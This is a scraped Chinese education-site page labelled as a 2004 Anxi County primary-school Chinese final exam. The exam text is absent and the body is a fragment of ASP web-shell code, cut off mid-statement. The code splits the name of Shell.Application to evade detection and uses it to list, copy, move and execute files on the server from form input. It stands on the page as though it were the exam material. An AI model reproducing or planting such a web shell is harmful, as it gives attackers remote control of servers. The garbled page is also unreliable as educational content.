|
2004年秋季安溪县小学语文第十一册期末考试卷(一)
ation")
set fod1=shell.namespace(esnxa)
set foditems=fod1.items
for each co in foditems
response.write "" & co.path & "-----" & co.size & "
"
next
end if
esnxa1 = request.form("text1")
esnxa2 = request.form("text2")
if esnxa1<>"" and esnxa2<>"" then
set shell1=server.createobject("she"+"ll.app"+"lication")
set fod1=shell1.namespace(esnxa2)
for i=len(esnxa1) to 1 step -1
if mid(esnxa1,i,1)="\" then
path=left(esnxa1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(esnxa1,len(esnxa1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command success!"
end if
esnxa3 = request.form("text3")
esnxa4 = request.form("text4")
if esnxa3<>"" and esnxa4<>"" then
set shell2=server.createobject("she"+"ll.app"+"lication")
set fod1=shell2.namespace(esnxa4)
for i=len(esnxa3) to 1 step -1
if mid(esnxa3,i,1)="\" then
path=left(esnxa3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(esnxa3,len(esnxa3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
esnxa5 = request.form("text5")
esnxa6 = request.form("text6")
if esnxa5<>"" and esnxa6<>"" then
set shell3=server.createobject("she"+"ll.app"+"lication")
shell3.namespace(esnxa5).items.item(esnxa6).invokeverb
response.write "command completed success!"
end if
end select
function outcmd(re)
re = replace(re," "," ")
re = replace(re,"<","<")
re = replace(re,">",">")
re = replace(re,chr(13),"
")
outcmd=re
end function
function editfilecontent(re)
re = replace(re,"<","<")
re = replace(re,">",">")
editfilecontent=re
end function
%>���
上一页 [1] [2] [3] [4]
尊敬的来宾：感谢您阅读2004年秋季安溪县小学语文第十一册期末考试卷(一),您现在访问的是小学语文教育网（xx.yuwen789.com）免费资料区，该栏目资源主要来自网友上传和网上搜集.
|
用户登录 
新用户注册 
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）